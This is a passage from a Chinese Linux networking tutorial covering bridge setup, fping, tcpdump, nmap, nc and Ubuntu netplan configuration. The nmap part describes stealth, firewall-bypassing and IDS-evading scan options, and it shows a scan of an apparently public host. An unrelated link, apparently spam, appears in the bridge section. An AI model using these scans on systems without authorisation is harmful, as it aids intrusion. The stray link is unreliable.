#查看橋接情況
[root@centos8 ~]#ip link show master virbr0
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc fq_codel master virbr0 state
DOWN mode DEFAULT group default qlen 1000
?link/ether 52:54:00:52:f2:5c brd ff:ff:ff:ff:ff:ff
。。。。

[root@centos8 ~]#bridge link show
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 master virbr0 state disabled
priority 32 cost 100
8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100
9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100

?4.8.2 配置實(shí)現(xiàn)網(wǎng)橋

工具包:bridge-utils,目前 CentOS 8 系統(tǒng)光盤里無此包,EPEL源有此包

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

yum install bridge-utils

#查看網(wǎng)橋
brctl show

#查看CAM(content addressable memory內(nèi)容可尋址存儲(chǔ)器)表
brctl showmacs br0

#添加和刪除網(wǎng)橋
brctl addbr | delbr br0

#添加和刪除網(wǎng)橋中網(wǎng)卡
brctl addif | delif br0 eth0

#默認(rèn)br0 是down,必須啟用
ifconfig br0 up

#啟用STP
[root@centos7 ~]#brctl show
bridge name bridge id STP enabled interfaces
br0 8000.000c297e67a3 no eth1
eth2
[root@centos7 ~]#brctl stp br0 on
[root@centos7 ~]#brctl show
bridge name bridge id STP enabled interfaces
br0 8000.000c297e67a3 yes eth1


#注意:NetworkManager只支持以太網(wǎng)接口連接到網(wǎng)橋,不支持聚合接口



#nmcli命令創(chuàng)建軟件網(wǎng)橋
nmcli con add con-name mybr0 type bridge ifname br0
nmcli con modify mybr0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con add con-name br0-port0 type bridge-slave ifname eth0 master br0


#查看配置文件
cat /etc/sysconfig/network-scripts/ifcfg-br0
cat /etc/sysconfig/network-scripts/ifcfg-br0-port0


#例:nmcli實(shí)現(xiàn)網(wǎng)橋

#1創(chuàng)建網(wǎng)橋
nmcli con add type bridge con-name br0 ifname br0
nmcli connection modify br0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con up br0

#2加入物理網(wǎng)卡
nmcli con add type bridge-slave con-name br0-port0 ifname eth0 master br0
nmcli con add type bridge-slave con-name br0-port1 ifname eth1 master br0
nmcli con up br0-port0
nmcli con up br0-port1

#3查看網(wǎng)橋配置文件
cat /etc/sysconfig/network-scripts/ifcfg-br0
DEVICE=br0
STP=yes
TYPE=Bridge
BOOTPROTO=static
IPADDR=10.0.0.100
PREFIX=24

cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
TYPE=Ethernet
NAME=br0-port0
DEVICE=eth0
ONBOOT=yes
BRIDGE=br0
UUID=23f41d3b-b57c-4e26-9b17-d5f02dafd12d

#4安裝管理軟件包:
yum install bridge-utils
brctl show

#5刪除br0
nmcli con down br0
rm /etc/sysconfig/network-scripts/ifcfg-br0*
nmcli con reload

?4.9 網(wǎng)絡(luò)測試診斷工具

#測試網(wǎng)絡(luò)連通性
ping

#顯示正確的路由表
ip route
route

#跟蹤路由
traceroute
tracepath
mtr

#確定名稱服務(wù)器使用
nslookup
host
dig

#抓包工具
tcpdump
wireshark

#安全掃描工具
nmap
netcat :網(wǎng)絡(luò)界的瑞士軍刀,即nc

#流量控制工具
tc

#例:
tc qdisc add dev eth0 root netem loss 50%
tc qdisc add dev eth0 root netem delay 1000ms
tc qdisc show dev eth0
tc qdisc del 

4.9.1 fping

fping是一個(gè)程序,用于將ICMP探測發(fā)送到網(wǎng)絡(luò)主機(jī),類似于ping,fping的歷史由來已久:Roland
Schemers在1992年確實(shí)發(fā)布了它的第一個(gè)版本,從那時(shí)起它就確立了自己的地位,成為網(wǎng)絡(luò)診斷和統(tǒng)計(jì)的標(biāo)準(zhǔn)工具

相對于ping多個(gè)主機(jī)時(shí)性能要高得多。 fping完全不同于ping,可以在命令行上定義任意數(shù)量的主機(jī),或者指定包含要ping的IP地址或主機(jī)列表的文件, 常在shell 腳本中使用

CentOS 中由EPEL源提供

官網(wǎng):http://www.fping.org/
[root@centos8 ~]#yum -y install fping

[root@centos8 ~]#fping 10.0.0.7
10.0.0.7 is alive

[root@centos7 ~]#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
[root@centos8 ~]#fping 10.0.0.7
10.0.0.7 is unreachable

[root@centos8 ~]#fping 10.0.0.7
10.0.0.7 is unreachable
[root@centos8 ~]#fping 10.0.0.7 10.0.0.8
10.0.0.8 is alive
10.0.0.7 is unreachable

#-g 選項(xiàng)可以指定網(wǎng)段或地址范圍
[root@centos8 ~]#fping -g 10.0.0.0/24
10.0.0.1 is alive
10.0.0.2 is alive
10.0.0.8 is alive
10.0.0.100 is alive
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.3
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.3
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
......
[root@centos8 ~]#fping -g 10.0.0.5 10.0.0.10
10.0.0.8 is alive
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
10.0.0.5 is unreachable
10.0.0.6 is unreachable
10.0.0.7 is unreachable
10.0.0.9 is unreachable
10.0.0.10 is unreachable


#對文件中的主機(jī)時(shí)行測試
[root@centos8 ~]#tee hosts.txt <<EOF
10.0.0.7
10.0.0.6
EOF

10.0.0.7
10.0.0.6

[root@centos8 ~]#fping < hosts.txt
10.0.0.6 is alive
10.0.0.7 is unreachable
[root@centos8 ~]#fping -s < hosts.txt
10.0.0.6 is alive
10.0.0.7 is unreachable
2 targets
???1 alive
???1 unreachable
???0 unknown addresses
???1 timeouts (waiting for response)
???5 ICMP Echos sent
???1 ICMP Echo Replies received
???0 other ICMP received
0.07 ms (min round trip time)
0.07 ms (avg round trip time)
0.07 ms (max round trip time)
????4.080 sec (elapsed real time)

4.9.2 tcpdump

網(wǎng)絡(luò)數(shù)據(jù)包截獲分析工具。支持針對網(wǎng)絡(luò)層、協(xié)議、主機(jī)、網(wǎng)絡(luò)或端口的過濾。并提供and、or、not等邏輯語句幫助去除無用的信息。

#tcpdump [-adeflnNOpqStvx][-c<數(shù)據(jù)包數(shù)目>][-dd][-ddd][-F<表達(dá)文件>][-i<網(wǎng)絡(luò)界面>][-r<
數(shù)據(jù)包文件>][-s<數(shù)據(jù)包大小>][-tt][-T<數(shù)據(jù)包類型>][-vv][-w<數(shù)據(jù)包文件>][輸出數(shù)據(jù)欄位]

#參數(shù)說明:
-a     嘗試將網(wǎng)絡(luò)和廣播地址轉(zhuǎn)換成名稱。
-c    <數(shù)據(jù)包數(shù)目> 收到指定的數(shù)據(jù)包數(shù)目后,就停止進(jìn)行傾倒操作。
-d     把編譯過的數(shù)據(jù)包編碼轉(zhuǎn)換成可閱讀的格式,并傾倒到標(biāo)準(zhǔn)輸出。
-dd     把編譯過的數(shù)據(jù)包編碼轉(zhuǎn)換成C語言的格式,并傾倒到標(biāo)準(zhǔn)輸出。
-ddd     把編譯過的數(shù)據(jù)包編碼轉(zhuǎn)換成十進(jìn)制數(shù)字的格式,并傾倒到標(biāo)準(zhǔn)輸出。
-e     顯示鏈路層信息,默認(rèn)不顯示鏈路層
-f     用數(shù)字顯示網(wǎng)際網(wǎng)絡(luò)地址。
-F    <表達(dá)文件> 指定內(nèi)含表達(dá)方式的文件。
-i    <網(wǎng)絡(luò)接口> 使用指定的網(wǎng)絡(luò)截面送出數(shù)據(jù)包。
-l     使用標(biāo)準(zhǔn)輸出列的緩沖區(qū)。
-n     不把主機(jī)的網(wǎng)絡(luò)地址轉(zhuǎn)換成名字。
-N     不列出域名。
-O     不將數(shù)據(jù)包編碼最佳化。
-p     不讓網(wǎng)絡(luò)界面進(jìn)入混雜模式。
-q     快速輸出,僅列出少數(shù)的傳輸協(xié)議信息。
-r    <數(shù)據(jù)包文件> 從指定的文件讀取數(shù)據(jù)包數(shù)據(jù)。
-s    <數(shù)據(jù)包大小> 設(shè)置每個(gè)數(shù)據(jù)包的大小。默認(rèn)只截取前96個(gè)字節(jié),使用-s0可以截取所有報(bào)文內(nèi)容
-S     用絕對而非相對數(shù)值列出TCP關(guān)聯(lián)數(shù)。
-t     在每列傾倒資料上不顯示時(shí)間戳記。
-tt     在每列傾倒資料上顯示未經(jīng)格式化的時(shí)間戳記。
-T    <數(shù)據(jù)包類型> 強(qiáng)制將表達(dá)方式所指定的數(shù)據(jù)包轉(zhuǎn)譯成設(shè)置的數(shù)據(jù)包類型。
-v     詳細(xì)顯示指令執(zhí)行過程。
-vv     更詳細(xì)顯示指令執(zhí)行過程。
-x     用十六進(jìn)制字碼列出數(shù)據(jù)包資料。
-w    <數(shù)據(jù)包文件> 把數(shù)據(jù)包數(shù)據(jù)寫入指定的文件。


#例:
#查看網(wǎng)卡
[root@centos8 ~]#tcpdump -D
1.eth0 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.bluetooth-monitor (Bluetooth Linux Monitor) [none]
5.nflog (Linux netfilter log (NFLOG) interface) [none]
6.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
7.usbmon0 (All USB buses) [none]
8.usbmon1 (USB bus number 1)
9.usbmon2 (USB bus number 2)


##不指定任何參數(shù),監(jiān)聽第一塊網(wǎng)卡上經(jīng)過的數(shù)據(jù)包。主機(jī)上可能有不止一塊網(wǎng)卡,所以經(jīng)常需要指定網(wǎng)卡。
tcpdump

#監(jiān)聽特定網(wǎng)卡
tcpdump -i en0

#監(jiān)聽特定主機(jī),監(jiān)聽主機(jī)10.0.0.100 的通信包,注意:出、入的包都會(huì)被監(jiān)聽。
tcpdump host 10.0.0.100

#特定來源、目標(biāo)地址的通信
#特定來源
tcpdump src host hostname

#特定目標(biāo)地址
tcpdump dst host hostname

#如果不指定src跟dst,那么來源或者目標(biāo)是hostname的通信都會(huì)被監(jiān)聽
tcpdump host hostname



#例:重點(diǎn)
[root@centos8 ~]#tcpdump -i eth0 -nn icmp and ?src host 10.0.0.6 and dst host
10.0.0.7

#特定端口
tcpdump port 3000

#監(jiān)聽TCP/UDP,服務(wù)器上不同服務(wù)分別用了TCP、UDP作為傳輸層,假如只想監(jiān)聽TCP的數(shù)據(jù)包
tcpdump tcp

#來源主機(jī)+端口+TCP,監(jiān)聽來自主機(jī)10.0.0.100在端口22上的TCP數(shù)據(jù)包
tcpdump tcp port 22 and src host 10.0.0.100

#監(jiān)聽特定主機(jī)之間的通信
tcpdump ip host 10.0.0.101 and 10.0.0.102

#10.0.0.101和除了10.0.0.1之外的主機(jī)之間的通信
tcpdump ip host 10.0.0.101 and ! 10.0.0.1

#詳細(xì)示例
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24
-w ./target.cap

(1)tcp: ip icmp arp rarp 和 tcp、udp、icmp這些選項(xiàng)等都要放到第一個(gè)參數(shù)的位置,用來過濾數(shù)據(jù)
報(bào)的類型
(2)-i eth1 : 只抓經(jīng)過接口eth1的包
(3)-t : 不顯示時(shí)間戳
(4)-s 0 :設(shè)置為0表示使用默認(rèn)值262144字節(jié)抓取每個(gè)包,以便與tcpdump的舊版本兼容
(5)-c 100 : 只抓取100個(gè)數(shù)據(jù)包
(6)dst port ! 22 : 不抓取目標(biāo)端口是22的數(shù)據(jù)包
(7)src net 192.168.1.0/24 : 數(shù)據(jù)包的源網(wǎng)絡(luò)地址為192.168.1.0/24
(8)-w ./target.cap : 保存成cap文件,方便用wireshark分析


#限制抓包的數(shù)量,如下,抓到1000個(gè)包后,自動(dòng)退出
tcpdump -c 1000

#保存到本地,tcpdump默認(rèn)會(huì)將輸出寫到緩沖區(qū),只有緩沖區(qū)內(nèi)容達(dá)到一定的大小,或者tcpdump退出時(shí),
才會(huì)將輸出寫到本地磁盤,可以加上-U強(qiáng)制立即寫到本地磁盤(一般不建議,性能相對較差)
tcpdump -n -vvv -c 1000 -w /tmp/tcpdump_save.cap

4.9.3 nmap

掃描遠(yuǎn)程主機(jī)工具,比發(fā)送 ICMP 報(bào)文的 ping 命令的功能要強(qiáng)大很多

官方幫助:https://nmap.org/book/man.html
#格式:
nmap [Scan Type(s)] [Options] {target specification}


#選項(xiàng):
-sT ?TCP connect() 掃描,這是最基本的 TCP 掃描方式。這種掃描很容易被檢測到,在目標(biāo)主機(jī)的日
志中會(huì)記錄大批的連接請求以及錯(cuò)誤信息 ?

-sS ?TCP 同步掃描 (TCP SYN),因?yàn)椴槐厝看蜷_一個(gè) TCP 連接,所以這項(xiàng)技術(shù)通常稱為半開掃描
(half-open)。這項(xiàng)技術(shù)最大的好處是,很少有系統(tǒng)能夠把這記入系統(tǒng)日志 

-sF,-sX,-sN ? 秘密 FIN 數(shù)據(jù)包掃描、圣誕樹 (Xmas Tree)、空 (Null) 掃描模式。這些掃描方式
的理論依據(jù)是:關(guān)閉的端口需要對你的探測包回應(yīng) RST 包,而打開的端口必需忽略有問題的包 ?

-sP ??ping 掃描,用 ping 方式檢查網(wǎng)絡(luò)上哪些主機(jī)正在運(yùn)行。當(dāng)主機(jī)阻塞 ICMP echo 請求包是
ping 掃描是無效的。nmap 在任何情況下都會(huì)進(jìn)行 ping 掃描,只有目標(biāo)主機(jī)處于運(yùn)行狀態(tài),才會(huì)進(jìn)行后續(xù)
的掃描 ?

-sU ?UDP 的數(shù)據(jù)包進(jìn)行掃描,想知道在某臺(tái)主機(jī)上提供哪些 UDP 服務(wù),可以使用此選項(xiàng) ?

-sA ?ACK 掃描,這項(xiàng)高級(jí)的掃描方法通??梢杂脕泶┻^防火墻。 ?

-sW ? 滑動(dòng)窗口掃描,非常類似于 ACK 的掃描 ?

-sR ?RPC 掃描,和其它不同的端口掃描方法結(jié)合使用。 ?

-b ??FTP 反彈攻擊 (bounce attack),連接到防火墻后面的一臺(tái) FTP 服務(wù)器做代理,接著進(jìn)行端口
掃描。

-P0 ? 在掃描之前,不 ping 主機(jī)。 ?

-PT ? 掃描之前,使用 TCP ping 確定哪些主機(jī)正在運(yùn)行 ?

-PS ? 對于 root 用戶,這個(gè)選項(xiàng)讓 nmap 使用 SYN 包而不是 ACK 包來對目標(biāo)主機(jī)進(jìn)行掃描。 ?

-PI ? 設(shè)置這個(gè)選項(xiàng),讓 nmap 使用真正的 ping(ICMP echo 請求)來掃描目標(biāo)主機(jī)是否正在運(yùn)行。 

-PB ? 這是默認(rèn)的 ping 掃描選項(xiàng)。它使用 ACK(-PT) 和 ICMP(-PI) 兩種掃描類型并行掃描。如果防
火墻能夠過濾其中一種包,使用這種方法,你就能夠穿過防火墻。 ?

-O ? 這個(gè)選項(xiàng)激活對 TCP/IP 指紋特征 (fingerprinting) 的掃描,獲得遠(yuǎn)程主機(jī)的標(biāo)志,也就是操
作系統(tǒng)類型

-I ? 打開 nmap 的反向標(biāo)志掃描功能。 ?

-f ? 使用碎片 IP 數(shù)據(jù)包發(fā)送 SYN、FIN、XMAS、NULL。包增加包過濾、入侵檢測系統(tǒng)的難度,使其無
法知道你的企圖 ?

-v ? 冗余模式。強(qiáng)烈推薦使用這個(gè)選項(xiàng),它會(huì)給出掃描過程中的詳細(xì)信息。

-S <IP> ? 在一些情況下,nmap 可能無法確定你的源地址 。在這種情況使用這個(gè)選項(xiàng)給出指定 IP 地址

-g port ? 設(shè)置掃描的源端口

-oN ? 把掃描結(jié)果重定向到一個(gè)可讀的文件 logfilename 中 

-oS ? 掃描結(jié)果輸出到標(biāo)準(zhǔn)輸出。 ?

--host_timeout ? 設(shè)置掃描一臺(tái)主機(jī)的時(shí)間,以毫秒為單位。默認(rèn)的情況下,沒有超時(shí)限制 ?

--max_rtt_timeout ? 設(shè)置對每次探測的等待時(shí)間,以毫秒為單位。如果超過這個(gè)時(shí)間限制就重傳或者超
時(shí)。默認(rèn)值是大約 9000 毫秒 ?

--min_rtt_timeout ? 設(shè)置 nmap 對每次探測至少等待你指定的時(shí)間,以毫秒為單位 ?

-M count ? 置進(jìn)行 TCP connect() 掃描時(shí),最多使用多少個(gè)套接字進(jìn)行并行的掃描


#例:
#Tcp ack 掃描,并發(fā)2000,速度快
nmap -n -PA --min-parallelism 2000 172.16.0.0/16 


#僅列出指定網(wǎng)段上的每臺(tái)主機(jī),不發(fā)送任何報(bào)文到目標(biāo)主機(jī).
[root@centos8 ~]#nmap -sL 10.0.0.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:28 CST
Nmap scan report for 10.0.0.0
Nmap scan report for 10.0.0.1
......
Nmap scan report for 10.0.0.254
Nmap scan report for 10.0.0.255
Nmap done: 256 IP addresses (0 hosts up) scanned in 1.04 seconds



#可以指定一個(gè)IP地址范圍
[root@centos8 ~]#nmap -sP 10.0.0.1-10
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:30 CST
Nmap scan report for 10.0.0.1
Host is up (0.000081s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.0.0.2
Host is up (0.00034s latency).
MAC Address: 00:50:56:F0:1E:25 (VMware)
Nmap scan report for 10.0.0.6
Host is up (0.00031s latency).
MAC Address: 00:0C:29:4D:EF:2C (VMware)
Nmap scan report for 10.0.0.7
Host is up (0.00036s latency).
MAC Address: 00:0C:29:29:F9:26 (VMware)
Nmap scan report for 10.0.0.8
Host is up.
Nmap done: 10 IP addresses (5 hosts up) scanned in 2.89 seconds



#批量掃描一個(gè)網(wǎng)段的主機(jī)存活數(shù)
nmap -sP -v 192.168.1.0/24
nmap –v –sn ip/24

#有些主機(jī)關(guān)閉了ping檢測,所以可以使用-P0跳過ping的探測,可以加快掃描速度.
nmap -P0 192.168.1.100

#掃描主機(jī)
nmap –v –A IP 

#一次性掃描多臺(tái)目標(biāo)主機(jī)
[root@centos8 ~]#nmap 10.0.0.6 10.0.0.7
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:39 CST
Nmap scan report for 10.0.0.6
Host is up (0.00055s latency).
Not shown: 998 closed ports
PORT ?STATE SERVICE
22/tcp open ?ssh
111/tcp open rpcbind
MAC Address: 00:0C:29:4D:EF:2C (VMware)
Nmap scan report for 10.0.0.7
Host is up (0.00050s latency).
Not shown: 999 closed ports
PORT ?STATE SERVICE
22/tcp open ?ssh
MAC Address: 00:0C:29:29:F9:26 (VMware)
Nmap done: 2 IP addresses (2 hosts up) scanned in 101.01 seconds


#從一個(gè)文件中導(dǎo)入IP地址,并進(jìn)行掃描
[root@centos8 ~]#cat hosts.txt
10.0.0.7
10.0.0.6
58.87.87.99

[root@centos8 ~]#nmap -iL hosts.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:43 CST
Nmap scan report for 10.0.0.7
Host is up (0.0024s latency).
Not shown: 999 closed ports
PORT ?STATE SERVICE
22/tcp open ?ssh
MAC Address: 00:0C:29:29:F9:26 (VMware)
Nmap scan report for 10.0.0.6
Host is up (0.0032s latency).
Not shown: 998 closed ports
PORT ?STATE SERVICE
22/tcp open ?ssh
111/tcp open rpcbind
MAC Address: 00:0C:29:4D:EF:2C (VMware)
Nmap scan report for 58.87.87.99
Host is up (0.016s latency).
Not shown: 998 filtered ports
PORT ??STATE SERVICE
80/tcp ?open http
3306/tcp open mysql
Nmap done: 3 IP addresses (3 hosts up) scanned in 120.33 seconds


#探測目標(biāo)主機(jī)開放的端口,可指定一個(gè)以逗號(hào)分隔的端口列表(如-PS22,443,80)
[root@centos8 ~]#nmap -PS22,80,443 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:31 CST
Nmap scan report for 10.0.0.1
Host is up (0.00042s latency).
Not shown: 996 filtered ports
PORT ??STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8082/tcp open blackice-alerts
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds


#使用SYN半開放掃描
[root@centos8 ~]#nmap -sS 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:33 CST
Nmap scan report for 10.0.0.1
Host is up (-0.052s latency).
Not shown: 996 filtered ports
PORT ??STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8082/tcp open blackice-alerts
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds



#掃描開放了TCP端口的設(shè)備
[root@centos8 ~]#nmap -sT 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:34 CST
Nmap scan report for 10.0.0.1
Host is up (0.00040s latency).
Not shown: 996 filtered ports
PORT ??STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8082/tcp open blackice-alerts
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.52 seconds


#掃描開放了UDP端口的設(shè)備
[root@centos8 ~]#nmap -sU 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:34 CST
Nmap scan report for 10.0.0.1
Host is up (0.00046s latency).
Not shown: 999 open|filtered ports
PORT ?STATE SERVICE
137/udp open netbios-ns
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds


#只掃描UDP端口
nmap –e eth1 -sU -O 10.0.0.1 

#掃描TCP和UDP端口
nmap -sTU -O 10.0.0.1 


#用于掃描目標(biāo)主機(jī)服務(wù)版本號(hào)
[root@centos8 ~]#nmap -sV 10.0.0.7
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:37 CST
Nmap scan report for 10.0.0.7
Host is up (0.0011s latency).
Not shown: 999 closed ports
PORT ?STATE SERVICE VERSION
22/tcp open ?ssh ??OpenSSH 7.4 (protocol 2.0)
MAC Address: 00:0C:29:29:F9:26 (VMware)
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds


#查看主機(jī)當(dāng)前開放的端口
nmap localhost ?

#查看主機(jī)端口(1024-65535)中開放的端口
nmap -p 1024-65535 localhost 


#探測目標(biāo)主機(jī)開放的端口
nmap -PS 10.0.0.1 

#探測所列出的目標(biāo)主機(jī)端口
nmap -PS22,80,3306 10.0.0.1 

#探測目標(biāo)主機(jī)操作系統(tǒng)類型
nmap -O 10.0.0.1

#探測目標(biāo)主機(jī)操作系統(tǒng)類型
nmap -A 10.0.0.1

4.9.4 nc

nc是netcat的簡寫,有著網(wǎng)絡(luò)界的瑞士軍刀美譽(yù)。因?yàn)樗绦【?、功能?shí)用,被設(shè)計(jì)為一個(gè)簡單、可靠的網(wǎng)絡(luò)工具

#nc的作用
    實(shí)現(xiàn)任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口
    端口的掃描,nc可以作為client發(fā)起TCP或UDP連接
    機(jī)器之間傳輸文件
    機(jī)器之間網(wǎng)絡(luò)測速

#格式:
nc [-hlnruz][-g<網(wǎng)關(guān)...>][-G<指向器數(shù)目>][-i<延遲秒數(shù)>][-o<輸出文件>][-p<通信端口>][-s<
來源位址>][-v...][-w<超時(shí)秒數(shù)>][主機(jī)名稱][通信端口...]


#選項(xiàng):
-g    <網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個(gè)。
-G    <指向器數(shù)目> 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
-h     在線幫助。
-i    <延遲秒數(shù)> 設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口。
-l     使用監(jiān)聽模式,管控傳入的資料。
-n     直接使用IP地址,而不通過域名服務(wù)器。
-o    <輸出文件> 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p    <通信端口> 設(shè)置本地主機(jī)使用的通信端口。
-r     亂數(shù)指定本地與遠(yuǎn)端主機(jī)的通信端口。
-s    <來源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址。
-u     使用UDP傳輸協(xié)議。
-v     顯示指令執(zhí)行過程。
-w    <超時(shí)秒數(shù)> 設(shè)置等待連線的時(shí)間。
-z     表示zero,表示掃描時(shí)不發(fā)送任何數(shù)據(jù),只在掃描通信端口時(shí)使用。


##安裝nc
[root@ubuntu1804 ~]#apt -y install netcat-openbsd
[root@centos8 ~]#yum -y install nc


#探測TCP協(xié)議
[root@ubuntu1804 ~]#nc -zv ?10.0.0.101 22
Connection to 10.0.0.101 22 port [tcp/ssh] succeeded!
[root@ubuntu1804 ~]#nc -zv ?10.0.0.101 2222
nc: connect to 10.0.0.101 port 2222 (tcp) failed: Connection refused


#探測UDP協(xié)議
[root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 2049
Connection to 10.0.0.101 2049 port [udp/nfs] succeeded!
[root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 111
Connection to 10.0.0.101 111 port [udp/sunrpc] succeeded!
[root@ubuntu1804 ~]#nc -zv -u 10.0.0.101 123

5 Ubuntu 網(wǎng)絡(luò)配置

5.1 主機(jī)名

#修改主機(jī)名
root@ubuntu1804:~# hostnamectl set-hostname ubuntu1804.baidu.com
root@ubuntu1804:~# cat /etc/hostname
ubuntu1804.baidu.com
root@ubuntu1804:~# hostname
ubuntu1804.baidu.com
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804
root@ubuntu1804:~# exit
logout
xin@ubuntu1804:~$ sudo -i
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804.baidu.com

5.2 網(wǎng)卡名稱

默認(rèn)ubuntu的網(wǎng)卡名稱和 CentOS 7 類似,如:ens33,ens38等

#修改網(wǎng)卡名稱為傳統(tǒng)命名方式:
#修改配置文件為下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#'
/etc/default/grub

#生效新的grub.cfg文件
root@ubuntu1804:~# grub-mkconfig -o /boot/grub/grub.cfg
#或者
root@ubuntu1804:~# update-grub
root@ubuntu1804:~# grep net.ifnames /boot/grub/grub.cfg
???linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-8c14-
fe1a48ba153c ro net.ifnames=0
???linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
???linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
???linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
???linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0


#重啟生效
root@ubuntu1804:~# reboot

5.3 Ubuntu網(wǎng)卡配置

官網(wǎng)文檔:
https://help.ubuntu.com/
https://ubuntu.com/server/docs/network-configuration

5.3.1 配置自動(dòng)獲取IP

網(wǎng)卡配置文件采用YAML格式,必須以 /etc/netplan/XXX.yaml 文件命名方式存放
可以每個(gè)網(wǎng)卡對應(yīng)一個(gè)單獨(dú)的配置文件,也可以將所有網(wǎng)卡都放在一個(gè)配置文件里

#例:
root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: yes


#修改網(wǎng)卡配置文件后需執(zhí)行命令生效:
root@ubuntu1804:~#netplan apply

5.2.2 配置靜態(tài)IP

#例:
root@ubuntu1804:~#vim /etc/netplan/01-netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
   ?eth0:
    ??addresses: [192.168.8.10/24,10.0.0.10/8] ?#或者用下面兩行,兩種格式不能混用
??   ?- 192.168.8.10/24
??   ?- 10.0.0.10/8
??    gateway4: 10.0.0.2
?    ?nameservers:
?     ? ?search: [baidu.com, baidu.org]
??      ?addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]



#查看ip和gateway
root@ubuntu1804:~#ip addr
